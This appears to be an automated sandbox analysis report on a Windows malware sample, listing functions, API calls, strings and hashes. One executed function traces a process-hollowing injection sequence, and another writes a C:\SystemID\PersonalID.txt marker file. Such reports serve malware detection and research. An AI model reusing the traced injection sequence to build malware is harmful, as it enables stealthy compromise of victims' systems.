Strings

vector<T> too long, xrefs: 00413C96

Memory Dump Source

Source File: 00000004.00000002.1331435981.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1331435981.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1331435981.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Yara matches

Similarity

API ID: Concurrency::details::_Concurrent_queue_base_v4::_Internal_throw_exception_malloc_memset
String ID: vector<T> too long
API String ID: 1327501947-3788999226
Opcode ID: 13dbab4e4c979af06a9cf2652985864a633ab205e3cc78c94b6fadd0ced0ada8
Instruction ID: e8ff6f7d1438dbc4cc0d31425bbcf17e71e6c586c3cd126e38002517ea96b8c1
Opcode Fuzzy Hash: 13dbab4e4c979af06a9cf2652985864a633ab205e3cc78c94b6fadd0ced0ada8
Instruction Fuzzy Hash: AB0192B25003105BE3309F1AE801797B7E8AF40765F14842EE99993781F7B9E984C7D9

Function 0040C919 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 59COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNEL32(C:\SystemID,00000000), ref: 0040C94B
_fputws.LIBCMT ref: 0040C9C6
_fputws.LIBCMT ref: 0040C9E8
_fputws.LIBCMT ref: 0040C9F3

Strings

C:\SystemID\PersonalID.txt, xrefs: 0040C956
C:\SystemID, xrefs: 0040C946

Memory Dump Source

Source File: 00000004.00000002.1331435981.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1331435981.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1331435981.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Yara matches

Similarity

API ID: _fputws$CreateDirectory
String ID: C:\SystemID$C:\SystemID\PersonalID.txt
API String ID: 2590308727-54166481
Opcode ID: b861cdce013af4209bc30e04672f112ccf944bab98ef41955443f7e5140c860b
Instruction ID: 548e7949761e073c688dfdb6472f733b12cf2ebad02737ba307de427565b7e5f
Opcode Fuzzy Hash: b861cdce013af4209bc30e04672f112ccf944bab98ef41955443f7e5140c860b
Instruction Fuzzy Hash: 9911E672A00315EBCF20DF65DC8579A77A0AF10318F10063BED5962291E37A99588BCA

Function 00420DB3 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 45COMMON

Download Yara Rule

APIs

__calloc_crt.LIBCMT ref: 00420DD5
__calloc_crt.LIBCMT ref: 00420DEE

Strings

Assertion failed: %s, file %s, line %d, xrefs: 00420E13

Memory Dump Source

Source File: 00000004.00000002.1331435981.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1331435981.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1331435981.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Yara matches

Similarity

API ID: __calloc_crt
String ID: Assertion failed: %s, file %s, line %d
API String ID: 3494438863-969893948
Opcode ID: 561489f2e4af6d624f58dbcfcda68910edfdae4a72d1be81448c26c2074ac95f
Instruction ID: 3c5265aa1bf4e9f5ad4874ec33d215fa8746995624eee7e22a7137551c8458fa
Opcode Fuzzy Hash: 561489f2e4af6d624f58dbcfcda68910edfdae4a72d1be81448c26c2074ac95f
Instruction Fuzzy Hash: 75F0A97130A2218BE734DB75BC51B6A27D5AF22724B51082FF100DA5C2E73C88425699

Function 00480620 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 00480686

Part of subcall function 00454C00: _raise.LIBCMT ref: 00454C18

Strings

.\crypto\evp\digest.c, xrefs: 00480638
ctx->digest->md_size <= EVP_MAX_MD_SIZE, xrefs: 0048062E

Memory Dump Source

Source File: 00000004.00000002.1331435981.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1331435981.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1331435981.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Yara matches

Similarity

API ID: _memset_raise
String ID: .\crypto\evp\digest.c$ctx->digest->md_size <= EVP_MAX_MD_SIZE
API String ID: 1484197835-3867593797
Opcode ID: 332f563a29a4ae085e93c3cfda2a52d89a6f4a051d037047c0cfd39b7a6a7ebb
Instruction ID: 96aa535d5fc7c596ca855a62b55a20e08de4f59c43588781e3518ec4b5147bd0
Opcode Fuzzy Hash: 332f563a29a4ae085e93c3cfda2a52d89a6f4a051d037047c0cfd39b7a6a7ebb
Instruction Fuzzy Hash: 82012C756002109FC311EF09EC42E5AB7E5AFC8304F15446AF6889B352E765EC558B99

Function 0044F23E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15COMMON

Download Yara Rule

APIs

std::exception::exception.LIBCMT ref: 0044F251

Part of subcall function 00430CFC: std::exception::_Copy_str.LIBCMT ref: 00430D15

__CxxThrowException@8.LIBCMT ref: 0044F266

Part of subcall function 00430ECA: RaiseException.KERNEL32(?,?,?,<yP,?,?,?,?,?,00423B9C,?,0050793C,?,00000001), ref: 00430F1F

Strings

TeM, xrefs: 0044F247, 0044F25B

Memory Dump Source

Source File: 00000004.00000002.1331435981.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1331435981.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1331435981.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Yara matches

Similarity

API ID: Copy_strExceptionException@8RaiseThrowstd::exception::_std::exception::exception
String ID: TeM
API String ID: 757275642-2215902641
Opcode ID: 96199cc15ff6b6db5c9edb5d1ae12cb70dd59b1139974201ea7fd9c915f9b6e6
Instruction ID: d1ee5d24d6598838e25116ba354c7cf631fb5eda6106ebacc41b25e9fbee45cd
Opcode Fuzzy Hash: 96199cc15ff6b6db5c9edb5d1ae12cb70dd59b1139974201ea7fd9c915f9b6e6
Instruction Fuzzy Hash: 8FD06774D0020DBBCB04EFA5D59ACCDBBB8AA04348F009567AD1597241EA78A7498B99

Analysis Process: E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exePID: 8084, Parent PID: 8012COMMON

Execution Graph

Execution Coverage:	1.1%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	37
Total number of Limit Nodes:	8

Executed Functions

Function 022A0110 Relevance: 22.7, APIs: 15, Instructions: 248
memorynativethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,00002800,00001000,00000004), ref: 022A0156
GetModuleFileNameA.KERNELBASE(00000000,?,00002800), ref: 022A016C
CreateProcessA.KERNELBASE(?,00000000), ref: 022A0255
VirtualFree.KERNELBASE(?,00000000,00008000), ref: 022A0270
VirtualAlloc.KERNELBASE(00000000,00000004,00001000,00000004), ref: 022A0283
Wow64GetThreadContext.KERNEL32(00000000,?), ref: 022A029F
ReadProcessMemory.KERNELBASE(00000000,?,?,00000004,00000000), ref: 022A02C8
NtUnmapViewOfSection.NTDLL(00000000,?), ref: 022A02E3
VirtualAllocEx.KERNELBASE(00000000,?,?,00003000,00000040), ref: 022A0304
NtWriteVirtualMemory.NTDLL(00000000,?,?,00000000,00000000), ref: 022A032A
NtWriteVirtualMemory.NTDLL(00000000,00000000,?,00000002,00000000), ref: 022A0399
WriteProcessMemory.KERNELBASE(00000000,?,?,00000004,00000000), ref: 022A03BF
Wow64SetThreadContext.KERNEL32(00000000,?), ref: 022A03E1
ResumeThread.KERNELBASE(00000000), ref: 022A03ED
ExitProcess.KERNEL32(00000000), ref: 022A0412

Memory Dump Source

Source File: 00000006.00000002.1341204110.00000000022A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_22a0000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Yara matches

Similarity

API ID: Virtual$MemoryProcess$AllocThreadWrite$ContextWow64$CreateExitFileFreeModuleNameReadResumeSectionUnmapView
String ID:
API String ID: 93872480-0
Opcode ID: ec80134effe49fee59cfb16798ca45a1398515b3278bf894a8b0bf22fdce02bc
Instruction ID: d136e43f7bb64eddbb19760302c2f8c3ca19df1a2810d183168e2bd41b1c2a0d
Opcode Fuzzy Hash: ec80134effe49fee59cfb16798ca45a1398515b3278bf894a8b0bf22fdce02bc
Instruction Fuzzy Hash: AEB1E774A00209AFDB44CF98C895F9EBBB5FF88314F208158E908AB395D771AE45CF94

Function 022A0420 Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 113
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegisterClassExA.USER32(00000030), ref: 022A04F1
CreateWindowExA.USER32(00000200,saodkfnosa9uin,mfoaskdfnoa,00CF0000,80000000,80000000,000003E8,000003E8,00000000,00000000,00000000,00000000), ref: 022A0533

Strings

d, xrefs: 022A0584
saodkfnosa9uin, xrefs: 022A04DA
0, xrefs: 022A0492
mfoaskdfnoa, xrefs: 022A0520, 022A0523

Memory Dump Source

Source File: 00000006.00000002.1341204110.00000000022A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_22a0000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Yara matches

Similarity

API ID: ClassCreateRegisterWindow
String ID: 0$d$mfoaskdfnoa$saodkfnosa9uin
API String ID: 3469048531-2341455598
Opcode ID: bb9b397fb3b679a7694c33bc0dbf232ca5c2d59a4e09fc52e4db1d59d2773c33
Instruction ID: 68510f6b9f89f8f1d5420b6694918bc96389197744de4d31694456adcf274371
Opcode Fuzzy Hash: bb9b397fb3b679a7694c33bc0dbf232ca5c2d59a4e09fc52e4db1d59d2773c33
Instruction Fuzzy Hash: D9511770D08388DBEB11CBE8C859BDDBFB2AF11708F144058D5487F28AC3BA5658CB66

Function 022A05B0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 35
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesA.KERNELBASE(apfHQ), ref: 022A05EC

Strings

o, xrefs: 022A0600
apfHQ, xrefs: 022A05E2, 022A05E5

Memory Dump Source

Source File: 00000006.00000002.1341204110.00000000022A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_22a0000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID: apfHQ$o
API String ID: 3188754299-2999369273
Opcode ID: af0d3c0451304eea9a95bfbcf33a37b8699cda851cd8c30db079f59d0d7bd2d6
Instruction ID: ff2393c214cc7ec00282745914c1e28bfa67347d950046e2c2933fa14ae350b9
Opcode Fuzzy Hash: af0d3c0451304eea9a95bfbcf33a37b8699cda851cd8c30db079f59d0d7bd2d6
Instruction Fuzzy Hash: 4C011E70C0425DEBDB10DBD8C5283AEBFB5AF41308F148099C4092B241D7B69B58CBA1

Function 022047C6 Relevance: 3.0, APIs: 2, Instructions: 41
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 022047EE
Module32First.KERNEL32(00000000,00000224), ref: 0220480E

Memory Dump Source

Source File: 00000006.00000002.1341092926.0000000002204000.00000040.00000020.00020000.00000000.sdmp, Offset: 02204000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2204000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Yara matches

Similarity

API ID: CreateFirstModule32SnapshotToolhelp32
String ID:
API String ID: 3833638111-0
Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction ID: 404e88cfdb8cbdf857143962c0a0102084dbd521c2589077bc8a3716153a31f4
Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction Fuzzy Hash: 66F0C2352103116BD7203BF5ACCCBAE76ECAF49625F504628E742914C1DB70E8458A60

Function 02204485 Relevance: 1.3, APIs: 1, Instructions: 48
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000040), ref: 022044D6

Memory Dump Source

Source File: 00000006.00000002.1341092926.0000000002204000.00000040.00000020.00020000.00000000.sdmp, Offset: 02204000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2204000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction ID: 940c4014e428046dbb8ee370d270a23eba36e9fd75bf1f1a0d426c9981c8c5e2
Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction Fuzzy Hash: 1F112B79A00208EFDB01DF98C985E99BFF5AF08350F058094FA489B362D371EA90DF80

Non-executed Functions

Function 022C6437 Relevance: 18.1, APIs: 12, Instructions: 84
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__calloc_crt.LIBCMT ref: 022C644E

Part of subcall function 022C9636: __calloc_impl.LIBCMT ref: 022C9645

__calloc_crt.LIBCMT ref: 022C6472
_free.LIBCMT ref: 022C6480
__calloc_crt.LIBCMT ref: 022C648E
_free.LIBCMT ref: 022C649E
_free.LIBCMT ref: 022C64A4
__copytlocinfo_nolock.LIBCMT ref: 022C64B3
__setmbcp_nolock.LIBCMT ref: 022C64D4
_free.LIBCMT ref: 022C64E2
___removelocaleref.LIBCMT ref: 022C64E9
___freetlocinfo.LIBCMT ref: 022C64F0
_free.LIBCMT ref: 022C64F6

Memory Dump Source

Source File: 00000006.00000002.1341204110.00000000022A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_22a0000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Yara matches

Similarity

API ID: _free$__calloc_crt$___freetlocinfo___removelocaleref__calloc_impl__copytlocinfo_nolock__setmbcp_nolock
String ID:
API String ID: 1442030790-0
Opcode ID: 6bd5cc8f3dd8ebf785cdc17837931ce977b5cf0fd4524e89a9393df48daa8713
Instruction ID: 365e09c31ed53e3fd09392672fc5df87e76aa0790a960a001cedc436d5ea5056
Opcode Fuzzy Hash: 6bd5cc8f3dd8ebf785cdc17837931ce977b5cf0fd4524e89a9393df48daa8713
Instruction Fuzzy Hash: D621A431164741AEE7317FE5D801E2B7BDAEF817A0B70832DE449550ADEB32D550CE50

Function 022C3F16 Relevance: 16.8, APIs: 11, Instructions: 258
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 022C3F51

Part of subcall function 022C5BA8: __getptd_noexit.LIBCMT ref: 022C5BA8

__gmtime64_s.LIBCMT ref: 022C3FEA
__gmtime64_s.LIBCMT ref: 022C4020
__gmtime64_s.LIBCMT ref: 022C403D
__allrem.LIBCMT ref: 022C4093
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 022C40AF
__allrem.LIBCMT ref: 022C40C6
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 022C40E4
__allrem.LIBCMT ref: 022C40FB
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 022C4119
__invoke_watson.LIBCMT ref: 022C418A

Memory Dump Source

Source File: 00000006.00000002.1341204110.00000000022A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_22a0000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Yara matches

Similarity

API ID: Unothrow_t@std@@@__allrem__ehfuncinfo$??2@__gmtime64_s$__getptd_noexit__invoke_watson_memset
String ID:
API String ID: 384356119-0
Opcode ID: 7fd9d583014fb9bd54c3649c392eeadef0098b2c5eee71df52b0c12f16343c62
Instruction ID: 6b7e8f10288d36ca44e89a6337b1befb0e649696bc8b4e42aeec1a1b8703f48f
Opcode Fuzzy Hash: 7fd9d583014fb9bd54c3649c392eeadef0098b2c5eee71df52b0c12f16343c62
Instruction Fuzzy Hash: 8171DA71A20717ABD714EEB9CC50B5BB3B9BF10324F24476DE514E6298EBB0DA00CB90

Function 022C650E Relevance: 16.6, APIs: 11, Instructions: 131
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__invoke_watson.LIBCMT ref: 022C6547
__calloc_crt.LIBCMT ref: 022C6598
__lock.LIBCMT ref: 022C65AE
__copytlocinfo_nolock.LIBCMT ref: 022C65BF
_wcscmp.LIBCMT ref: 022C65F9
__lock.LIBCMT ref: 022C6610
__updatetlocinfoEx_nolock.LIBCMT ref: 022C6622
___removelocaleref.LIBCMT ref: 022C6628
__updatetlocinfoEx_nolock.LIBCMT ref: 022C6647

Memory Dump Source

Source File: 00000006.00000002.1341204110.00000000022A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_22a0000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Yara matches

Similarity

API ID: Ex_nolock__lock__updatetlocinfo$___removelocaleref__calloc_crt__copytlocinfo_nolock__invoke_watson_wcscmp
String ID:
API String ID: 3432600739-0
Opcode ID: 7aa5c98289f18997e9299cf2a82b2e33c44f00e8491ec962a9d4b764f8744340
Instruction ID: 27935ed2c7b5e55110cafc1935edb47cf76eaa5002662d0a54a98f61eaf0318d
Opcode Fuzzy Hash: 7aa5c98289f18997e9299cf2a82b2e33c44f00e8491ec962a9d4b764f8744340
Instruction Fuzzy Hash: ED411532924305AFDB10BFE4D840BAE3BEAAF84314F30862DE91456198DF7A9645DF51

Function 022C84AB Relevance: 16.6, APIs: 11, Instructions: 92
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

___crtCorExitProcess.LIBCMT ref: 022C84B1
_free.LIBCMT ref: 022C84E2
_free.LIBCMT ref: 022C84F5
_free.LIBCMT ref: 022C8513
_free.LIBCMT ref: 022C8525
_free.LIBCMT ref: 022C8536
_free.LIBCMT ref: 022C8541
_free.LIBCMT ref: 022C8565
_free.LIBCMT ref: 022C8581
_free.LIBCMT ref: 022C8597
_free.LIBCMT ref: 022C85BF

Memory Dump Source

Source File: 00000006.00000002.1341204110.00000000022A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_22a0000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Yara matches

Similarity

API ID: _free$ExitProcess___crt
String ID:
API String ID: 1022109855-0
Opcode ID: 351ddd14b24f1e3a4d385d89d907221036510e379468225c84414e37ce72688f
Instruction ID: 8b6127642aacbb558e4da68cb1bb68c8e6f6bd3730eaad5f9b475617358f6cb6
Opcode Fuzzy Hash: 351ddd14b24f1e3a4d385d89d907221036510e379468225c84414e37ce72688f
Instruction Fuzzy Hash: 5231D431D10351DBDB225F94FC8084977A6FF143A5325C72EE908572A8CBF059C8AF92

Function 022EFC0C Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 58COMMON

Download Yara Rule

APIs

std::exception::exception.LIBCMT ref: 022EFC1F

Part of subcall function 022D169C: std::exception::_Copy_str.LIBCMT ref: 022D16B5

__CxxThrowException@8.LIBCMT ref: 022EFC34
std::exception::exception.LIBCMT ref: 022EFC4D
__CxxThrowException@8.LIBCMT ref: 022EFC62
std::regex_error::regex_error.LIBCPMT ref: 022EFC74

Part of subcall function 022EF914: std::exception::exception.LIBCMT ref: 022EF92E

__CxxThrowException@8.LIBCMT ref: 022EFC82
std::exception::exception.LIBCMT ref: 022EFC9B
__CxxThrowException@8.LIBCMT ref: 022EFCB0

Strings

leM, xrefs: 022EFCA8

Memory Dump Source

Source File: 00000006.00000002.1341204110.00000000022A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_22a0000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Yara matches

Similarity

API ID: Exception@8Throwstd::exception::exception$Copy_strstd::exception::_std::regex_error::regex_error
String ID: leM
API String ID: 3569886845-2926266777
Opcode ID: ed214ebb3701571be2f43069d920533da395f334550e3d3fd8b3428f3c6f404b
Instruction ID: 0e12dad3d84f514430edc7fd0cb799a0e8247fc9e18ccc4d56fa0b14b5af9d0c
Opcode Fuzzy Hash: ed214ebb3701571be2f43069d920533da395f334550e3d3fd8b3428f3c6f404b
Instruction Fuzzy Hash: 1111E979C0030DBBCF04FFE5D855CEEBBBDAA04344B408566AD1897648EB74A3588F94

Function 022AF010 Relevance: 15.1, APIs: 10, Instructions: 78COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 022AF01F

Part of subcall function 022C1602: __FF_MSGBANNER.LIBCMT ref: 022C1619
Part of subcall function 022C1602: __NMSG_WRITE.LIBCMT ref: 022C1620

_malloc.LIBCMT ref: 022AF02B
_wprintf.LIBCMT ref: 022AF03E
_free.LIBCMT ref: 022AF044
_free.LIBCMT ref: 022AF065
_malloc.LIBCMT ref: 022AF06D
_sprintf.LIBCMT ref: 022AF0C0
_wprintf.LIBCMT ref: 022AF0D2
_wprintf.LIBCMT ref: 022AF0DC
_free.LIBCMT ref: 022AF0E5

Memory Dump Source

Source File: 00000006.00000002.1341204110.00000000022A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_22a0000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Yara matches

Similarity

API ID: _free_malloc_wprintf$_sprintf
String ID:
API String ID: 3721157643-0
Opcode ID: 02ca39b803bb7accc6b95a63f2f9baed07ed6e7a95ba34453850edf5138b640f
Instruction ID: 6f9cea60d9c2c19eaf51886e3dee9b3409922eedcf4454bdc271a7c0805254a0
Opcode Fuzzy Hash: 02ca39b803bb7accc6b95a63f2f9baed07ed6e7a95ba34453850edf5138b640f
Instruction Fuzzy Hash: D61124B69606606AD261B2F44C12EFF3ADD9F45302F1402ADFE8CD1184EA195A149BB1

Function 022B1960 Relevance: 13.6, APIs: 9, Instructions: 149COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBCMT ref: 022B19C6
__CxxThrowException@8.LIBCMT ref: 022B19F1
__CxxThrowException@8.LIBCMT ref: 022B1A1A
__CxxThrowException@8.LIBCMT ref: 022B1A4B
_memset.LIBCMT ref: 022B1A6A
__CxxThrowException@8.LIBCMT ref: 022B1A90
_malloc.LIBCMT ref: 022B1AA0
_memset.LIBCMT ref: 022B1AAB
_sprintf.LIBCMT ref: 022B1ACE

Memory Dump Source

Source File: 00000006.00000002.1341204110.00000000022A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_22a0000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Yara matches

Similarity

API ID: Exception@8Throw$_memset$_malloc_sprintf
String ID:
API String ID: 65388428-0
Opcode ID: 76dd775f958ae6873f0575faef2ecf56324248e316e82f6433bbffcf9f7903c6
Instruction ID: 81428ea38c92fa3e870827234e0df9fc0b386b1f105e715d44bde2db39162225
Opcode Fuzzy Hash: 76dd775f958ae6873f0575faef2ecf56324248e316e82f6433bbffcf9f7903c6
Instruction Fuzzy Hash: 92514A71D40209AAEB11DBE5DC86FEEBBB9FF04744F100125F909F6184EB746A118BA5

Function 022AF210 Relevance: 10.7, APIs: 7, Instructions: 165COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBCMT ref: 022AF284
__CxxThrowException@8.LIBCMT ref: 022AF2AF
__CxxThrowException@8.LIBCMT ref: 022AF2DE
__CxxThrowException@8.LIBCMT ref: 022AF30F
_memset.LIBCMT ref: 022AF32E
__CxxThrowException@8.LIBCMT ref: 022AF354
_sprintf.LIBCMT ref: 022AF373

Memory Dump Source

Source File: 00000006.00000002.1341204110.00000000022A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_22a0000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Yara matches

Similarity

API ID: Exception@8Throw$_memset_sprintf
String ID:
API String ID: 217217746-0
Opcode ID: 3deed8c6e3840860115ea43936f1cfce13c92bcc70370307f91e5f5c9cd17acd
Instruction ID: defdeb1b1e1906a79119ffc2c2321c6cab2c018cbfe9162a08f5a15ebff5b153
Opcode Fuzzy Hash: 3deed8c6e3840860115ea43936f1cfce13c92bcc70370307f91e5f5c9cd17acd
Instruction Fuzzy Hash: 1C51AFB1D50249ABEF11DFE1CD46FEEBB78EF04704F100129F905B6580D7B9AA058BA4

Function 022AF440 Relevance: 10.7, APIs: 7, Instructions: 159COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBCMT ref: 022AF4B7
__CxxThrowException@8.LIBCMT ref: 022AF4E2
__CxxThrowException@8.LIBCMT ref: 022AF504
__CxxThrowException@8.LIBCMT ref: 022AF535
_memset.LIBCMT ref: 022AF554
__CxxThrowException@8.LIBCMT ref: 022AF57A
_sprintf.LIBCMT ref: 022AF594

Memory Dump Source

Source File: 00000006.00000002.1341204110.00000000022A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_22a0000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Yara matches

Similarity

API ID: Exception@8Throw$_memset_sprintf
String ID:
API String ID: 217217746-0
Opcode ID: 16aaa772ddb988d461e4337924cf716956fc1cb963719ed600faa1ffd715582e
Instruction ID: 1cde3c5e0b6cfc27a8d217483a13de275b7518f080082136d43e3928eeedc9b8
Opcode Fuzzy Hash: 16aaa772ddb988d461e4337924cf716956fc1cb963719ed600faa1ffd715582e
Instruction Fuzzy Hash: 4F518E71D50209ABDF21DFE1CD46FEEBBB8EF04704F200129F905B6584EB75AA058BA4

Function 022E208B Relevance: 9.1, APIs: 6, Instructions: 112COMMON

Download Yara Rule

APIs

__getenv_helper_nolock.LIBCMT ref: 022E20C6
__invoke_watson.LIBCMT ref: 022E2120
_strlen.LIBCMT ref: 022E20D4

Part of subcall function 022C5BA8: __getptd_noexit.LIBCMT ref: 022C5BA8

_strnlen.LIBCMT ref: 022E215F
__lock.LIBCMT ref: 022E2170
__getenv_helper_nolock.LIBCMT ref: 022E217B

Memory Dump Source

Source File: 00000006.00000002.1341204110.00000000022A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_22a0000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Yara matches

Similarity

API ID: __getenv_helper_nolock$__getptd_noexit__invoke_watson__lock_strlen_strnlen
String ID:
API String ID: 3534693527-0
Opcode ID: 7b5cd30b09028c4688c7add7ba7a2b705b2aa5fc65eb7c357d53e3922a347f5d
Instruction ID: 9f91e501b12b245e3b3baef24266c3e7ce0c17276cb3f2bd3833526286429442
Opcode Fuzzy Hash: 7b5cd30b09028c4688c7add7ba7a2b705b2aa5fc65eb7c357d53e3922a347f5d
Instruction Fuzzy Hash: 4A310772930326EADF216AE4DC00B6E275D9F14B24F604219ED07EF2DCDB748641DAA1

Function 023666D9 Relevance: 9.1, APIs: 6, Instructions: 100COMMON

Download Yara Rule

APIs

__getptd_noexit.LIBCMT ref: 023666DD

Part of subcall function 022C59BF: __calloc_crt.LIBCMT ref: 022C59E2
Part of subcall function 022C59BF: __initptd.LIBCMT ref: 022C5A04

__calloc_crt.LIBCMT ref: 02366700
